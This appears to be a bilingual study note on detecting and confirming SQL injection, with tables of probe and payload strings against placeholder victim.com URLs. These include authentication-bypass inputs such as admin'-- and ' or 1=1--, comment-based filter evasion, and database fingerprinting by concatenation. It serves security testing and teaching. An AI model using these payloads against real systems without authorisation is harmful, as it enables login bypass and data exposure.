Testing for SQL Injection
Finding SQL Injection
- 找注入點
- GET, POST, user-agent, referrer, host name, IP, user ID, cookies, X-Forwarded-For, X-Forwarded-Host
- 操縱參數
- 單引號
- 如兩者請求結果相同,則可能存在SQL Injection
- Oracle, PostgreSQL
http://www.victim.com/showproducts.php?category=bikes http://www.victim.com/showproducts.php?category=bi'||'kes
- Microsoft SQL Server
http://www.victim.com/showproducts.php?category=bikes http://www.victim.com/showproducts.php?category=bi'+'kes
- MySQL
http://www.victim.com/showproducts.php?category=bikes http://www.victim.com/showproducts.php?category=bi' 'kes
- 算數判斷
http://www.victim.com/showproducts.php?id=2-1 http://www.victim.com/showproducts.php?id=1
- Oracle, PostgreSQL
- 其它方法
- 若第一個正常,第二個異常,也存在SQL Injection
http://www.victim.com/showproducts.php?category=bikes and 1=1 http://www.victim.com/showproducts.php?category=bikes and 1=2
- 若第一個正常,第二個異常,也存在SQL Injection
- Application Response
- 常見錯誤:判斷錯誤訊息是否是由SQL Injection引起
- HTTP Code Errors: HTTP 500, HTTP 302
- Different Response Sizes
Confirming SQL Injection
Inline SQL Injection (內聯SQL注入)
- 內聯注入是指向查詢注入一些SQL代碼後,原來的查詢仍然會全部執行
- Injecting Strings Inline
UPDATE users SET password = 'new_password' WHERE username = 'Bob' AND password = 'old_password' OR '1'='1'
- Injecting Strings Inline
Testing String | Variations | Expected Results |
---|---|---|
' | Error triggering. If successful, the database will return an error | |
1' or '1'='1 | 1') or ('1'='1 | Always true condition. If successful, it returns every row in the table |
value' or '1'='2 | value') or ('1'='2 | No condition. If successful, it returns the same result as the original value |
1' and '1'='2 | 1') and ('1'='2 | Always false condition. If successful, it returns no rows from the table |
1' or 'ab'='a'+'b | 1') or ('ab'='a'+'b | Microsoft SQL Server concatenation. If successful, it returns the same information as an always true condition |
1' or 'ab'='a' 'b | 1') or ('ab'='a' 'b | MySQL concatenation. If successful, it returns the same information as an always true condition |
1' or 'ab'='a' || 'b | 1') or ('ab'='a' || 'b | Oracle and PostgreSQL concatenation. If successful, it returns the same information as an always true condition |
- Injecting Numeric Values Inline
SELECT ∗ FROM messages WHERE uid=45 OR 1=1 ORDER BY received;
Testing String | Variations | Expected Results |
---|---|---|
' | Error triggering. If successful, the database will return an error | |
1+1 | 3-1 | If successful, it returns the same value as the result of the operation |
value+0 | If successful, it returns the same value as the original request | |
1 or 1=1 | 1) or (1=1 | Always true condition. If successful, it returns every row in the table |
value or 1=2 | value) or (1=2 | No condition. If successful, it returns the same result as the original value |
1 and 1=2 | 1) and (1=2 | Always false condition. If successful, it returns no rows from the table |
1 or 'ab'='a'+'b' | 1) or ('ab'='a'+'b' | Microsoft SQL Server concatenation. This injection is valid for Microsoft SQL Server. If successful, it returns the same information as an always true condition |
1 or 'ab'='a' 'b' | 1) or ('ab'='a' 'b' | MySQL concatenation. If successful, it returns the same information as an always true condition |
1 or 'ab'='a' || 'b' | 1) or ('ab'='a' || 'b' | Oracle and PostgreSQL concatenation. If successful, it returns the same information as an always true condition |
Terminating SQL Injection (終止式SQL注入)
- 終止式SQL注入是指攻擊者在注入SQL代碼時,通過將原查詢語句的剩餘部分註解掉,從而成功結束原來的查詢語句。
- Database Comment
Database | Comment | Observations |
---|---|---|
Microsoft SQL Server, Oracle and PostgreSQL | -- , /* */ |
單行註解、多行註解 |
MySQL | -- , # , /* */ |
第二個連字符後面跟一個空格或控制字符 |
防禦方式:從最開始位置檢測、清除用戶輸入中的所有空格或者截短用戶輸入的值。
- http://www.victim.com/messages/list.aspx?uid=45 or 1=1
- 過濾後會變成錯誤的SQL語法
SELECT * FROM messages WHERE uid=45or1=1
- 可以使用多行註解來避免使用空格
- http://www.victim.com/messages/list.aspx?uid=45/∗∗/or/∗∗/1=1
- 過濾後會變成錯誤的SQL語法
- 若沒帶有註解的uid值 http://www.victim.com/messages/list.aspx?uid=45
- 與帶有註解的uid值 http://www.victim.com/messages/list.aspx?uid=45/∗hello yes∗/
- 若兩者結果相同,則可能存在有SQL漏洞
- 單行註解:
' or 1=1--
SELECT -- FROM administrators WHERE username = '' or 1=1;-- ' AND password = '';
- 若
--
被過濾,則改試多行註解/* */
- Username:
admin'/*
, Password:*/'
SELECT -- FROM administrators WHERE username = 'admin'/*' AND password = '*/'';
- 清除註解後可更清楚看出:
SELECT -- FROM administrators WHERE username = 'admin' '';
- Username:
- Database Concatenation Operators (連接運算符)
Database | Concatenation |
---|---|
SQL Server | 'a'+'b'='ab' |
MySQL | 'a' 'b'='ab' |
Oracle和PostgreSQL | 'a'||'b'='ab' |
- 若無法確認使用何種資料庫,可使用以下方法判斷
URL | Database |
---|---|
http://www.victim.com/displayuser.aspx?User=Bob | Original request |
http://www.victim.com/displayuser.aspx?User=B'+'ob | MSSQL |
http://www.victim.com/displayuser.aspx?User=B''ob | MySQL |
http://www.victim.com/displayuser.aspx?User=B'||'ob | Oracle or PostgreSQL |
- Signatures Using Database Comments
Testing String | Variations | Expected Results |
---|---|---|
admin'-- | admin')-- | Bypass authentication mechanism by returning the admin row set from the database |
admin'# | admin')# | MySQL - Bypass authentication mechanism by returning the admin row set from the database |
1-- | 1)-- | Commenting out the rest of the query, it is expected to remove any filter specified in the WHERE clause after the injectable parameter |
1 or 1=1-- | 1) or 1=1-- | Return all rows injecting a numeric parameter |
'or '1'='1'-- | ')or '1'='1'-- | Return all rows injecting a string parameter |
-1 and 1=2-- | -1) and 1=2-- | Return no rows injecting a numeric parameter |
' and '1'='2'-- | ') and '1'='2'-- | Return no rows injecting a string parameter |
1/*comment*/ | Comment injection. If successful, it makes no difference to the original request. Helps identify SQL injection vulnerabilities |
- Executing Multiple Statements
- SQL Server 6.0後支援同一連接句上執行多條語句,例如:
SELECT foo FROM bar; SELECT foo2 FROM bar2;
- MySQL 4.1後有支援,但預設無開啟
- Oracle不支援
- 使用前要先終止第一條語句,才可在後面連接任意SQL語法
- SQL Server 6.0後支援同一連接句上執行多條語句,例如: